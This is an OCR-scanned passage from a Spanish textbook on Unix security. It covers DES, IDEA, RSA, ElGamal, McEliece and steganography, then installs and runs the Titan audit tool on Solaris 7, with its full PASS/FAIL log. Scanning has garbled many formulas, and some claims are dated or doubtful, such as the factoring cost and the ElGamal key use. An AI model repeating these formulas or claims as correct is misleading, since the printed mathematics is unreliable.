sustitucion en un bloque de 4 bits (bloque-S, con un rango 0...63) dando una salida tambien de 4 bits 
(rango decimal 0...15) que a su vez se recombina con una permutacion en un registro con longitud 
32 bits. Con el contenido de este registro se efectua una operation XOR sobre la mitad izquierda 
de los datos originales, convirtiendose el nuevo resultado en una salida (parte derecha) de 32 bits. 
Transcurridas las dieciseis vueltas, las dos mitades finales (de 32 bits cada una) se recombinan con 
una permutacion contraria a la realizada al principio (IP), y el resultado es un criptograma de 64 bits. 

Aunque no ha sido posible demostrar rigurosamente la debilidad del criptosistema DES, y ac- 
tualmente es el mas utilizado en el mundo entero, parece claro que con las actuales computadoras y 
su elevada potencia de calculo, una clave de 56 bits (en la que recordemos, reside toda la seguridad 
del DES) es facilmente vulnerable frente a un ataque exhaustivo en el que se prueben combina- 
ciones de esos 56 bits. Hay que resaltar que el tamano inicial de la clave, en el diseno de IBM, 
era de 128 bits; la razon de la disminucion no se ha hecho publica hasta el momento. Por si esto 
fuera poco, otro factor que ha aumentado las controversias y discusiones acerca de la seguridad de 
DES son dos propiedades del algoritmo: la propiedad de complementation, que reduce el tiempo 
necesario para un ataque exhaustivo, y la propiedad de las claves debiles, dada cuando el proceso 
de cifrado es identico al de descifrado (Ki=Ki 6 , K 2 =Ki 5 ,..., K 8 =K g ), que sucede con cuatro claves 
del criptosistema. Otro secreto de IBM (a instancias de la NSA) es la election y diseno de las 
cajas que DES utiliza para el cifrado. No se puede evitar el pensar que el gobierno estadouniden- 
se precise un criptosistema con la robustez necesaria para que nadie, excepto ellos, pueda descifrarlo. 

A la vista de estos hechos, la idea de que DES no va a seguir siendo el algoritmo de cifrado estandar 
en las instituciones estadounidenses se va generalizando poco a poco. Por tanto, va a ser necesario 
sustituirlo por otro algoritmo mas robusto frente a los ataques. Siguiendo esta linea, Xuejia Lai y 
James Massey, dos prestigiosos criptografos, desarrollaron a finales de la decada de los ochenta el 
algoritmo IDEA ( International Data Encryption Algorithm), compatible con DES (para aprovechar 
el gran niimero de equipos que utilizan este algoritmo), y con una robustez garantizada por la 
clave de 128 bits que utiliza este cifrador de bloques y las complejas operaciones utilizadas para 
evitar el exito de un posible atacante, que van desde tecnicas de difusion hasta adiciones modulo 2 16 . 

El algoritmo IDEA esta siendo ampliamente aceptado en diversas aplicaciones informaticas orien- 
tadas a la seguridad de los datos; numerosos programas destinados a trabajar en red utilizan ya 
este algoritmo como el principal de cifrado. 


14.7 Criptosistemas de clave publica 

14.7.1 El criptosistema RSA 

Este sistema de clave publica fue disenado en 1977 por los profesores del MIT ( Massachusetts Ins- 
titute of Technology) Ronald R. Rivest, Adi Shamir y Leonard M. Adleman, de ahi las siglas con 
las que es conocido. Desde entonces, este algoritmo de cifrado se ha convertido en el prototipo de 
los de clave publica. 

La seguridad de RSA radica en la dificultad de la factorization de numeros grandes: es facil saber 
si un niimero es primo, pero es extremadamente dificil obtener la factorization en numeros primos 
de un entero elevado, debido no a la dificultad de los algoritmos existentes, sino al consumo de 
recursos ffsicos (memoria, necesidades hardware. . . incluso tiempo de ejecucion) de tales algoritmos. 
Se ha demostrado que si n es el niimero de dfgitos binarios de la entrada de cualquier algoritmo 
de factorization, el coste del algoritmo es 0(2n), con un tiempo de ejecucion perteneciente a la 
categoria de los llamados problemas intratables. 
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Veamos el funcionamiento del algoritmo RSA: si un usuario A desea enviar informacion cifrada, 
ha de elegir aleatoriamente dos numeros primos grandes (del orden de cien dfgitos), p y q. Estos 
niimeros se han de mantener en secreto. Si llamamos N (N se conoce como modulo) al producto 
p*q, el usuario ha de determinar otro entero, d, llamado exponente privado, que cumpla 

mcd(d,(p-l)*(q-l))=l, d<N 

es decir, d y el producto (p-l)*(q-l), que denotaremos y?(N), funcion de Euler, han de ser primos. 
Con estos datos, ya tenemos la clave privada del cifrado: el par (N,d). Para obtener la clave publica, 
hallamos el inverso multiplicativo del niimero cl respecto de <^(N), de la forma e*d=l mod </?(N). 
Calculado este entero e, llamado exponente publico, la clave publica sera el par (N,e). 

Una vez el emisor A dispone de sus claves publica y privada, podria enviar un mensaje cifrado, que 
llamaremos m, a un posible receptor, mediante la operacion 

c=m e mod N 


aplicada a cada elemento del mensaje. 

El receptor del criptograma, realizarfa la siguiente operacion de descifrado: 

m=c d mod N 

y asf obtendrfa el texto en claro del mensaje recibido. 

El sistema RSA ha permanecido invulnerable hasta hoy, a pesar de los numerosos ataques de 
criptoanalistas. Es teoricamente posible despejar d para obtener la clave privada, a partir de la 
funcion de descifrado, resultando 


d=log c m(mod(p-l)) 

Sin embargo, el calculo de logaritmos discretos es un problema de una complejidad desborclante, 
por lo que este tipo de ataque se vuelve impracticable: la resolution de congruencias del tipo a x = 
b(n), necesarias para descifrar el mensaje, es algontmicamente inviable sin ninguna informacion 
adicional, debido al elevado tiempo de ejecucion del algoritmo. Aunque cuando los factores de p-1 
son pequehos existe un algoritmo, desarrollado por Pohlig y Heilman de orden 0(log 2 p), este es 
otro de los algoritmos catalogados como intratables, vistos anteriormente. 

14.7.2 El criptosistema de ElGamal 

Durante 1984 y 1985 ElGamal desarrollo un nuevo criptosistema de clave publica basado en la 
intratabilidad computacional del problema del logaritmo discreto: obtener el valor de x a partir de 
la expresion 


y=a a: (mod p) 

es, como hemos comentado para RSA, computacionalemente intratable por norma general. 

Aunque generalmente no se utiliza de forma directa, ya que la velocidad de cifrado y autenti- 
cacion es inferior a la obtenida con RSA, y ademas las firmas producidas son mas largas (jel doble 
de largo que el texto original!), el algoritmo de ElGamal es de gran importancia en el desarrollo 
del DSS ( Digital Signature Standard ), del NIST ( National Institute of Standards and Technology) 
estadounidense. 

En este sistema, para generar un par clave publica/privada, se escoge un niimero primo grande, p, 
y dos enteros xya, l<x<p-l, l<a<p-l, y se calcula 


y=a :E (mod p) 



14. 7. CRIPTOSISTEMAS DE CLAVE PUBLICA 
La clave publica sera el numero y, y la privada el numero x. 
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Para firmar un cleterminado mensaje, el emisor elige un entero aleatorio, k, 0<k<p-l, no usado 
con anterioridad, y con la restriccitriccion que k sea relativamente primo a (p-1), y computa 

r=a fc mod p 

s=[k _1 (m-xr)] mod (p-1), 
donde k' 1 es el inverso de k mod (p-1); asi, 

k* k- x =l mod (p-1). 

La firma del mensaje estara entonces formada por r y s; un potential receptor puede usar la clave 
publica y para calcular y r r s mod p y comprobar si coincide con a m mod p: 

y r r s mod p= a m mod p 

El criptosistema de ElGamal tiene una caracteristica determinante que lo distingue del resto de 
sistemas de clave publica: en el cifrado se utiliza aparte de la clave publica del receptor, la clave 
privada del emisor. 

14.7.3 Criptosistema de McEliece 

En 1978 McEliece presento un nuevo criptosistema de clave publica, basado en la Teoria de la 
Codification algebraica. Dado que esta teoria es muy compleja, los expertos recomiendan una fa- 
miliarization matematica preliminar con la Teoria de la Codification, los Codigos de Goppa, y los 
Cuerpos de Galois. 

En el sistema de McEliece, cada usuario ha de elegir un polinomio irreducible de grado t, y construir 
una matriz generadora del correspondiente codigo de Goppa, matriz G, de orden kxn. Tambien ha 
de calcular G*, matriz generadora de codigo lineal tal que no exista un algoritmo computable que 
corrija los errores con este codigo en un tiempo pequeno, obtenida a partir de la expresion 

G*=S*G*P, 

con S una matriz aleatoria no singular de orden kxk, y P una matriz de permutaciones de orden 
nxn. Todos los usuarios del sistema mantienen sus respectivos G* y t publicos, mientras que las 
matrices G, S y P seran secretas. 

Supongamos que un emisor A quiere enviar un mensaje al receptor B. Para ello, representara 
el mensaje como un conjunto de cadenas binarias, m, de longitud kj, bits, y enviara el mensaje 
cifrado de n bits 


c — m*G^+e, 

siendo e un vector de longitud rq y peso pf, < tb que dificulta el criptoanalisis de un potential 
atacante, por razones en las que no vamos a entrar. 

Cuando B recibe el mensaje, ha de calcular 

c*p- 1 =m*S*G*P*P- 1 +e*P- 1 =(m*S)*G+e' 

utilzando sus matrices S, G y P (que recordemos son privadas). El vector e' se calcula como 

e'=e*P _1 


y tiene tambien un peso inferior a t&. 

Llamando m'=m*S, el receptor B puede calcular ahora el mensaje original, a partir de 
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m=m'*S -1 

(jrecordemos una vez mas que S ha de ser privada para cada usuario!). Hay que resaltar, por ultimo, 
que aunque el criptosistema de McEliece no ha sido completamente acogido por la comunidad 
criptologica, es muy importante el estudio que desde la presentation del sistema en 1978 se esta 
haciendo para el desarrollo de sistemas de clave publica basados en la Teoria de la Codification. 

14.8 Esteganograffa 

La esteganograffa (tambien llamada cifra encubierta, [CES91]) es la ciencia que estudia los pro- 
cedimientos encaminados a ocultar la existencia de un mensaje en lugar de ocultar su contenido; 
mientras que la criptograffa pretende que un atacante que consigue un mensaje no sea capaz de 
averiguar su contenido, el objetivo de la esteganograffa es ocultar ese mensaje dentro de otro sin 
information importante, de forma que el atacante ni siquiera se entere de la existencia de dicha 
information oculta. No se trata de sustituir al cifrado conventional sino de complementarlo: ocultar 
un mensaje reduce las posibilidades de que sea descubierto; no obstante, si lo es, el que ese mensaje 
haya sido cifrado introduce un nivel adicional de seguridad. 

A lo largo de la historia han existido multitud de metodos para ocultar information. Quizas los 
mas conocidos hayan sido la tinta invisible, muy utilizada durante la Segunda Guerra Mundial, 
o las marcas de cualquier tipo sobre ciertos caracteres (desde pequenos pinchazos de alfiler hasta 
trazos a lapiz que marcan un mensaje oculto en un texto), pero otros mecanismos mas ‘extrava- 
gantes’ tambien han sido utilizados: por ejemplo, afeitar la cabeza de un mensajero y tatuar en el 
cuero cabelludo el mensaje, dejando despues que el crecimiento del pelo lo oculte; podemos repasar 
algunos modelos esteganograficos cuanto menos curiosos en [Kah67]. 

Con el auge de la informatica, el mecanismo esteganografico mas extendido esta basado en las 
imagenes digitales y su excelente capacidad para ocultar informacion; aunque existen varias formas 
de conseguirlo ([vST094]), la mas basica consiste simplemente en sustituir el bit menos significati- 
ve de cada byte por los bits del mensaje que queremos ocultar; dado que casi todos los estandares 
graficos tienen una graduation de colores mayor de lo que el ojo humano puede apreciar, la imagen 
no cambiara su apariencia de forma notable. Otros elementos clonde ocultar informacion son las 
senates de audio y el propio texto ([BGML96]), aunque no estan tan extendidas como la anterior. 



Capftulo 15 

Algunas herramientas de seguridad 

15.1 Introduction 


^Por que utilizar herramientas de seguridad en los sistemas Unix? Ningun sistema operativo se pue- 
de considerar ‘seguro’ tal y como se instala por defecto 1 ; normalmente, cualquier distribution de un 
sistema se instala pensando en proporcionar los mmimos problemas a un administrador que desee 
poner la maquina a trabajar inmediatamente, sin tener que preocuparse de la seguridad. Es una 
cuestion de puro marketing: imaginemos un sistema Unix que por defecto se instalara en su modo 
mas restrictive en cuanto a seguridad; cuando el administrador desee ponerlo en funcionamiento 
conectandolo a una red, ofreciendo ciertos servicios, gestionando usuarios y perifericos. . . debera 
conocer muy bien al sistema, ya que ha de dar expheitamente los permisos necesarios para reali- 
zar cada tarea, con la consiguiente perdida de tiempo. Es mucho mas productivo para cualquier 
empresa clesarrolladora de sistemas proporcionarlos completamente abiertos, de forma que el ad- 
ministrador no tenga que preocuparse mucho de como funciona cada parte del sistema que acaba 
de instalar: simplemente inserta el CDROM original, el software se instala, y todo funciona a la 
primera, aparentemente sin problemas. . . 

Esta polftica, que lamentablemente siguen casi todas las empresas desarrolladoras, convierte a un 
sistema Unix que no se haya configurado mmimamente en un facil objetivo para cualquier atacante. 
Es mas, la complejidad de Unix hace que un administrador que para aumentar la seguridad de su 
sistema se limite a cerrar ciertos servicios de red o detener algunos demonios obtenga una sensation 
de falsa seguridad: esta persona va a pensar que su sistema es seguro simplemente por realizar un 
par de modificaciones en el, cosa que es completamente falsa. 


15.2 Titan 


Para corroborar la inseguridad de los sistemas Unix instalados tal y como se distribuyen, o mmi- 
mamente configurados, hemos hecho la prueba con uno de los sistemas considerados mas seguros: 
Solaris, de la empresa Sun Microsystems, Inc.. Hemos instalado Solaris 7 sobre un PC, cerrado 
la mayoria de servicios ofrecidos (en /etc/inetd.conf), y controlado el acceso a otros (telnet, 
finger, ftp. . .) mediante TCP Wrappers: justo lo que la mayor parte de administradores harian 
antes de poner el sistema a funcionar. Tras estos pasos, hemos ejecutado el programa de auditoria 
automatica Titan , que cletecta problemas de seguridad en la maquina local (para mas information 
sobre este software se puede consultar [FPA98]). 


1 j Algunos no pueden considerarse ‘seguros’ nunca! 
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Instalacion de Titan 

Hemos elegido Titan justamente por ser uno de los programas mas facilmente instalables sobre Su- 
nOS o Solaris: al tratarse de un conjunto de shellscripts, el administrador no ha de preocuparse por 
ningun proceso de compilacion (con los posibles errores que este puede causar), ni conocer tecnicas 
avanzadas de seguridad para poder utilizarlo (como otros programas que presentan una multitud 
de opciones diferentes que se pueden combinar entre ellas, de forma que quien los quiera utilizar 
debe conocer bastante bien ciertos terminos de Unix y de la seguridad, que no suelen ser triviales). 
Tanto la instalacion de Titan como su ejecucion son muy sencillos. 

Para instalar Titan , una vez desempaquetado el fichero, hemos de ejecutar simplemente 
Titan-Conf ig, con la opcion -i (la opcion -d desinstala el software. El programa de instalacion 
nos preguntara si cleseamos hacer copias de seguridad de los ficheros que se modifiquen al ejecutar 
Titan ; por nuestra seguridad, podemos decirle que si (y): 

anita: /export/home/toni/Security/Tools# gzip -d Titan, v3 . 0 . FCS . tar . gz 

anita: /export/home/toni/Security/Tools# tar xvf Titan, v3.0. FCS. tar 

anita: /export/home/toni/Security/Tools# cd Titan, v3.0. FCS 

anita: / export /home/toni/Security/Tools/Tit an, v3 . 0 .FCS# . /Titan-Conf ig -i 

checking for dependencies... 

finding out where we are... 

we are in Vexport/home/toni/Security/Tools/Titan,v3.0.FCS’ 

checking out your system. . . 
this system runs: SunOS-5 . 7-i86pc 
we will be using: sol2x86 

setting up links . . . 
removing old links. . . 
linking bin into path. . . 

linking lib into path. . . 

linking logs into path. . . 
linking src into path. . . 

linking tmp into path. . . 

linking done. 

cleaning up is_root, sanity_check, Titan... 
pulling in local Titan script... 

Run Titan utilites with ’Titan -[v,f,i]’ after reading the Docs... 

OR 

Run Titan using a config file. (Titan -c sample . Server) after reading the Docs 

Titan can backup all of the files it modifies; This is recommended 
proceed? y/n: y 

Okay. . . Checking for backup program. . . 

Found backtit.sh - Backing up system files now... This might take a while.. 
Creating backup dir in : /export/home/toni/Security/Tools/Titan, v3 . 0 . FCS/\ 
arch/sol2sun4/bin/Backup// 1013990418 
Generating listings 

Calculating and backing up files now \ 

Done ! ! 


Saved off 44 files to: /export/home/toni/Security/Tools/Titan,v3.0.FCS/\ 
arch/sol2sun4/bin/Backup/ / 1013990418 
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See details in savelist: /export/home/toni/Security/Tools/Titan,v3.0.FCS/\ 
arch/sol2sun4/bin/Backup/ / 1013990418/ . . /SaveList . 1013990418 
Restore by running /export/home/toni/Security/Tools/Titan,v3.0.FCS/\ 
arch/sol2sun4/bin/lib/untit . sh - [g,r] 
anita: / export/home/toni/Security/Tools/Titan, v3 . 0 . FCS# 

Una vez instalado Titan (todo a partir del directorio actual, no genera ficheros en ningun otro lugar 
de nuestros sistemas de archivos) podemos ejecutar ya el programa de auditoria, con la opcion -v 
para que no realice ningun cambio en nuestro sistema, sino que simplemente se limite a informarnos 
de los posibles problemas de seguridad que podemos tener; si deseamos ver el funcionamiento de cada 
uno de los shellscripts invocados por Titan , podemos utilizar la opcion -i, y si lo que queremos es 
solucionar los problemas cletectados, la opcion -f (cuidado si hacemos esto, la politica de seguridad 
de Titan es tan estricta que podemos dejar al sistema solamente utilizable por el root). 

Ejecucion de Titan 

En nuestro caso, queremos que Titan nos informe de los problemas de seguridad que detecte, pero 
que no los solucione el: 

anita:/export/home/toni/Security/Tools/Titan,v3.0.FCS# ./Titan -v 


*=*=*=*=* Running modules/add-umask.sh now 

Output to . ./logs/modules/add-umask.sh.V. 042506 


No umask file /etc/init . d/umask . sh found 


*=*=*=*=* Running modules/adjust-arp-timers . sh now 

Output to .. /logs/modules/adjust-arp-timers . sh .V. 042506 


Checking for ARP timers in /etc/rc2.d/S69inet 
ARP timers are not set - FAILS CHECK 


*=*=*=*=* Running modules/adjust . syn-timeout . sh now 

Output to .. /logs/modules/adjust . syn-timeout . sh. V. 042506 


ERROR - This script is Only needed on Solaris 2.4 and older 
please see Sun’s patch (Patch 103582-11 currently) for a better fix 


*=*=*=*=* Running modules/automount . sh now 

Output to .. /logs/modules/automount . sh. V. 042506 


File /etc/rc2 . d/S74autof s exists... 

Automounter = 

/usr/lib/autofs/automountd /usr/sbin/automount /usr/bin/pkill - FAILS CHECK 


*=*=*=*=* Running modules/create-issue . sh now 

Output to .. /logs/modules/create-issue . sh.V. 042506 
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Cannot read /etc/issue - FAILS CHECK 


*=*=*=*=* Running modules/decode . sh now 

Output to . . /logs/modules/decode . sh.V. 042506 


Decode disabled - PASSES CHECK 


*=*=*=*=* Running modules/disable-Ll-A.sh now 

Output to . ./logs/modules/disable-Ll-A. sh.V. 042506 


./modules/disable-Ll-A.sh: . /sanity_check: No such file or directory 


*=*=*=*=* Running modules/disable-NFS.bind. sh now 

Output to .. /logs/modules/disable-NFS .bind. sh.V. 042506 

Verifying port settings using ndd 

privileged port definition is currently set to 1024 

You should run disable-NFS .bind. sh with the -F option (port=1024) 


*=*=*=*=* Running modules/disable-accounts . sh now 

Output to .. /logs/modules/disable-accounts . sh.V. 042506 


Checking 11 Users.... 

Checking that shell set to noshell for: 

daemon bin adm lp uucp nuucp listen nobody noaccess nobody4 ppp 
Verify shell status.... 

daemon shell = - FAILS CHECK 
bin shell = - FAILS CHECK 
adm shell = - FAILS CHECK 
lp shell = - FAILS CHECK 
uucp shell = - FAILS CHECK 

nuucp shell = /usr/lib/uucp/uucico - FAILS CHECK 

listen shell = - FAILS CHECK 

nobody shell = - FAILS CHECK 

noaccess shell = - FAILS CHECK 

nobody4 shell = - FAILS CHECK 

ppp shell = /usr/sbin/pppls - FAILS CHECK 

11 Users Not Secured Out Of 11 


*=*=*=*=* Running modules/disable-core . sh now 

Output to . ./logs/modules/disable-core. sh.V. 042506 


Core dump size has not been set : FAILS CHECK 
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*=*=*=*=* Running modules/disable-ping-echo . sh now 

Output to .. /logs/modules/disable-ping-echo . sh . V. 042506 


Ping echo response allowed - FAILED CHECK 

Run . /modules/disable-ping-echo . sh with — [Ff ] to fix... 


*=*=*=*=* Running modules/disable_ip_holes . sh now 

Output to .. /logs/modules/disable_ip_holes . sh.V. 042506 


Checking ip_f orwarding . . . 

ip_f orwarding disabled - PASSES CHECK 

Checking ip_forward_src_routed. . . 

ip_f orward_src_routed disabled - PASSES CHECK 

Checking ip_f orward_directed_broadcasts . . . 

ip_f orward_directed_broadcasts disabled - PASSES CHECK 

Checking ip_ignore_redirect . . . 

ip_ignore_redirect enabled - PASSES CHECK 

Checking ip_strict_dst_multihoming. . . 

ip_strict_dst_multihoming enabled - PASSES CHECK 

System configured as ’notrouter 1 - PASSES CHECK 


*=*=*=*=* Running modules/dmi-2.6.sh now 

Output to . ./logs/modules/dmi-2. 6. sh.V. 042506 


ERROR - This script is Only supported on Solaris 2.6 and newer, 
please use one of the other scripts for your OS 


*=*=*=*=* Running modules/eeprom. sh now 

Output to .. /logs/modules/eeprom. sh.V. 042506 


Architecture = i86pc 

Eeprom security-mode not supported on this host 


*=*=*=*=* Running modules/f ile-own. sh now 

Output to .. /logs/modules/f ile-own. sh . V. 042506 


Checking /usr file ownership 

Found 25345 files in /usr that should be root owned 
Checking /sbin file ownership 

Found 13 files in /sbin that should be root owned 
Checking /usr group permissions 

Found 0 files in /usr that should be set group g-w 
Checking /sbin group permissions 

Found 0 files in /sbin that should be set group g-w 
Checking /etc group permissions 

Found 0 files in /etc that should be set group g-w 
Checking /opt group permissions 

Found 0 files in /opt that should be set group g-w 
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*=*=*=*=* Running modules/f ix-cronpath. sh now 

Output to . ./logs/modules/fix-cronpath. sh.V. 042506 


File /var/spool/cron/crontabs/root exists; continuing 
/etc is not writable by world - PASSES CHECK. 

/etc is not writeable by group - PASSES CHECK. 

/etc/cron.d is not writable by world - PASSES CHECK, 
/etc/cron.d is not writeable by group - PASSES CHECK. 

/usr is not writable by world - PASSES CHECK, 
drwxrwxr-x 32 root 1024 Oct 8 00:58 /usr 

/usr is writeable by group - FAILS CHECK 
/usr/sbin is not writable by world - PASSES CHECK, 
drwxrwxr-x 5 root 4608 Sep 24 01:32 /usr/sbin 

/usr/sbin is writeable by group - FAILS CHECK 
/usr/lib is not writable by world - PASSES CHECK, 
drwxrwxr-x 42 root 10240 Oct 8 00:55 /usr/lib 

/usr/lib is writeable by group - FAILS CHECK 
/usr/lib/fs is not writable by world - PASSES CHECK, 
drwxrwxr-x 13 root 512 Sep 23 18:33 /usr/lib/fs 

/usr/lib/fs is writeable by group - FAILS CHECK 
/usr/lib/f s/nf s is not writable by world - PASSES CHECK, 
/usr/lib/f s/nf s is not writeable by group - PASSES CHECK, 
/usr/bin is not writable by world - PASSES CHECK, 
drwxrwxr-x 3 root 7680 Oct 8 00:52 /usr/bin 

/usr/bin is writeable by group - FAILS CHECK 

/etc/cron.d/logchecker ownership should be changed to root 
/usr/lib/newsyslog ownership should be changed to root 
/usr/bin/rdate ownership should be changed to root 
/usr/sbin/rtc ownership should be changed to root 

No cron. allow file - FAILS CHECK 


*=*=*=*=* Running modules/f ix-modes . sh now 

Output to . ./logs/modules/f ix-modes. sh.V. 042506 


Only supported on Solaris 2.2 thru 2.6 


*=*=*=*=* Running modules/f ix-stack. sh now 

Output to . ./logs/modules/f ix-stack. sh.V. 042506 


ERROR - This script is Only known to work on Solaris 2.5. [0-5] 


*=*=*=*=* Running modules/f ix-stack. sol2 . 6 . sh now 

Output to .. /logs/modules/f ix-stack. sol2 . 6 . sh.V. 042506 


Stack Protection not currently set - Run fix-stack . sol2 . 6 . sh -F 
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*=*=*=*=* Running modules/ftpusers . sh now 

Output to .. /logs/modules/ftpusers . sh . V. 042506 


No /etc/ftpusers file in place... 

Should contain at least: 

root 

daemon 

sys 

bin 

adm 

IP 

smtp 

uucp 

nuucp 

listen 

nobody 

noaccess 

news 

ingres 

audit 

admin 

sync 

nobody4 

Please Run with ’-F/f’ to Fix - FAILS CHECK 


*=*=*=*=* Running modules/hosts .equiv. sh now 

Output to .. /logs/modules/hosts . equiv. sh.V. 042506 


No /etc/hosts . equiv - PASSES CHECK 


*=*=*=*=* Running modules/inetd.sh now 

Output to . ./logs/modules/inetd. sh.V. 042506 


File /etc/inet/inetd.conf exists - Checking... 

name Closed - PASSES CHECK 

exec Closed - PASSES CHECK 

comsat Closed - PASSES CHECK 

talk Open - FAILS CHECK 

uucp Closed - PASSES CHECK 

smtp Closed - PASSES CHECK 

tftp Closed - PASSES CHECK 

finger Open - FAILS CHECK 

systat Closed - PASSES CHECK 

netstat Closed - PASSES CHECK 

rquotad Closed - PASSES CHECK 

rusersd Closed - PASSES CHECK 

sprayd Closed - PASSES CHECK 

walld Closed - PASSES CHECK 

rexd Closed - PASSES CHECK 

shell Closed - PASSES CHECK 
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login Closed - PASSES CHECK 
exec Closed - PASSES CHECK 
comsat Closed - PASSES CHECK 
time Closed - PASSES CHECK 
echo Closed - PASSES CHECK 
discard Closed - PASSES CHECK 
daytime Closed - PASSES CHECK 
chargen Closed - PASSES CHECK 
100087 Closed - PASSES CHECK 
rwalld Closed - PASSES CHECK 
rstatd Closed - PASSES CHECK 
100068 Closed - PASSES CHECK 
100083 Closed - PASSES CHECK 
100221 Closed - PASSES CHECK 
fs Closed - PASSES CHECK 
ufsd Closed - PASSES CHECK 
100232 Closed - PASSES CHECK 
100235 Closed - PASSES CHECK 
536870916 Closed - PASSES CHECK 


*=*=*=*=* Running modules/keyserv. sh now 

Output to . . /logs/modules/keyserv. sh.V. 042506 


In /etc/rc2.d/S71rpc keyserv ; user nobody enabled - FAILS CHECK 


*=*=*=*=* Running modules/log-tcp . sb now 

Output to . ./logs/modules/log-tcp. sh.V. 042506 


*=*=*=*=* Running modules/loginlog. sh now 

Output to .. /logs/modules/loginlog. sh. V. 042506 


No /var/adm/loginlog file - FAILS CHECK 


*=*=*=*=* Running modules/lpsched. sh now 

Output to .. /logs/modules/lpsched. sh.V. 042506 


In /etc/rc2.d/S801p lpsched is enabled - FAILS CHECK 


*=*=*=*=* Running modules/nf s-portmon . sh now 

Output to .. /logs/modules/nf s-portmon . sh.V. 042506 


NFS port monitor disabled - FAILS CHECK 


*=*=*=*=* Running modules/nsswitch. sh now 

Output to .. /logs/modules/nsswitch. sh . V. 042506 


passwd -> files - PASSES CHECK 
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group -> files - PASSES CHECK 
hosts -> files - PASSES CHECK 
networks -> files - PASSES CHECK 
protocols -> files - PASSES CHECK 
rpc -> files - PASSES CHECK 
ethers -> files - PASSES CHECK 
netmasks -> files - PASSES CHECK 
bootparams -> files - PASSES CHECK 
publickey -> files - PASSES CHECK 
netgroup -> files - PASSES CHECK 
automount -> files - PASSES CHECK 
aliases -> files - PASSES CHECK 
services -> files - PASSES CHECK 
sendmailvars -> files - PASSES CHECK 

15 of 15 entries set to files as default - PASSES CHECK 


*=*=*=*=* Running modules/nuke-sendmail . sh now 

Output to . ./logs/modules/nuke-sendmail.sh.V. 042506 


Sendmail is enabled in /etc/rc2 . d/S88sendmail - FAILS CHECK 


*=*=*=*=* Running modules/pam-rhosts-2 . 6 . sh now 

Output to . ./logs/modules/pam-rhosts-2. 6. sh.V. 042506 


PAM allows rhosts for rlogin : FAILS CHECK 
PAM allows rhosts for rsh : FAILS CHECK 


*=*=*=*=* Running modules/passwd. sh now 

Output to .. /logs/modules/passwd. sh.V. 042506 


All accounts have passwords - PASSES CHECK 


*=*=*=*=* Running modules/powerd. sh now 

Output to .. /logs/modules/powerd. sh.V. 042506 


Power management not set to be run by root - FAILS CHECK 


*=*=*=*=* Running modules/psf ix . sh now 

Output to . . /logs/modules/psf ix . sh.V. 042506 


Could not find /etc/rc3 . d/S79tmpf ix - FAILS CHECK 
Run with — [Ff ] option to fix 


*=*=*=*=* Running modules/rhosts . sh now 

Output to .. /logs/modules/rhosts . sh.V. 042506 


Running against /etc/passwd . . . 



242 


CAPITULO 15. ALGUNAS HERRAMIENTAS DE SEGURIDAD 


*=*=*=*=* Running modules/rootchk. sh now 

Output to . . /logs/modules/rootchk. sh.V. 042506 


/.login - Clean of . - PASSES CHECK 
/etc/. login - Clean of . - PASSES CHECK 
/etc/default/login - Clean of . - PASSES CHECK 
/ . cshrc - Clean of . - PASSES CHECK 
/etc/skel/local . cshrc - Contains . - FAILS CHECK 
set path=(/bin /usr/bin /usr/ucb /etc .) 

/etc/skel/local. login - Clean of . - PASSES CHECK 
/etc/skel/local. profile - Clean of . - PASSES CHECK 
/.profile - Clean of . - PASSES CHECK 
/etc/profile - Clean of . - PASSES CHECK 


*=*=*=*=* Running modules/routed. sh now 

Output to . . /logs/modules/routed. sh.V. 042506 


The route daemon advertises routes - FAILS CHECK 


*=*=*=*=* Running modules/sendmail . sh now 

Output to .. /logs/modules/sendmail . sh. V. 042506 


No sendmail . cf . titan2 exists - FAILS CHECK 
Run with -[Ff] option to fix. 

Checking for smrsh 

smrsh not found in /sbin - FAILS CHECK 


*=*=*=*=* Running modules/smtp-banner . sh now 

Output to .. /logs/modules/smtp-banner . sh.V. 042506 


No /etc/mail/sendmail.cf exists - FAILS CHECK 


*=*=*=*=* Running modules/smtpbanner-8 . 8 . sh now 

Output to . ./logs/modules/smtpbanner-8. 8. sh.V. 042506 


ERROR - This script is Only supported on patched Solaris 2.6 and newer, 
please use one of the other scripts for your OS 


*=*=*=*=* Running modules/snmpdx-2 . 6 . sh now 

Output to . ./logs/modules/snmpdx-2. 6. sh.V. 042506 


ERROR - This script is Only supported on Solaris 2.6 and newer, 
please use one of the other scripts for your OS 


*=*=*=*=* Running modules/syslog. sh now 

Output to .. /logs/modules/syslog. sh.V. 042506 
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File /etc/syslog.conf exists checking contents.... 
Syslog auth notice messages disabled - FAILS CHECK 


*=*=*=*=* Running modules/tcp-sequence . sh now 

Output to . ./logs/modules/tcp-sequence.sh.V. 042506 


TCP_STR0NG_ISS=1 

/etc/def ault/inetinit - has the system default . - FAILS CHECK 


*=*=*=*=* Running modules/userumask . sh now 

Output to . ./logs/modules/userumask.sh.V. 042506 


Checking for umask 022 in 
/ etc/ . login 
/ etc/default/login 
/ etc/profile 
/etc/ skel/local . cshrc 
/ etc/skel/local . login 
/ etc/skel/local .profile 

Umask value other than 022 in /etc/. login - FAILS CHECK 

Umask value other than 022 in /etc/. login - FAILS CHECK 

Umask value 022 in /etc/profile - PASSES CHECK 

Umask value 022 in /etc/skel/local . cshrc - PASSES CHECK 

Umask value other than 022 in /etc/skel/local . login - FAILS CHECK 

Umask value other than 022 in /etc/skel/local. profile - FAILS CHECK 

UMASK value 022 in /etc/default/login - PASSES CHECK 


*=*=*=*=* Running modules/utmp . sh now 

Output to . ./logs/modules/utmp.sh.V. 042506 


File utmp permissions o-w - PASSES CHECK 
File utmp permissions o-w - PASSES CHECK 


*=*=*=*=* Running modules/ void. sh now 

Output to . ./logs/modules/vold.sh.V. 042506 


File /etc/rc2 . d/S92volmgt and /usr/sbin/vold exists - FAILS CHECK 
Run with -[Ff] option to fix 


*=*=*=*=* Running modules/ziplock. sh now 

Output to .. /logs/modules/ziplock. sh .V. 042506 
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Unfortunately this is a FIX ONLY utility 

As noted in the Introduction statement it may break functionality 
for all non-root users if run -F 

The list of files is as follows and may be manually modified 
by editing this script and inserting/commenting out as you 
like. Just make sure you know what it is you are changing: 

The list of binaries that would be modified is: 

/usr/bin/at 

/usr/kvm/ eeprom 

/sbin/su 

/usr/bin/atq 

/usr/bin/ atrm 

/usr/bin/ chkey 

/usr/bin/ crontab 

/usr/bin/ e j ect 

/usr/bin/fdf ormat 

/usr/bin/ newgrp 

/usr/bin/ps 

/usr/bin/rcp 

/usr/bin/rdist 

/usr/bin/rlogin 

/sbin/ sulogin 

/usr/bin/login 

/usr/bin/rsh 

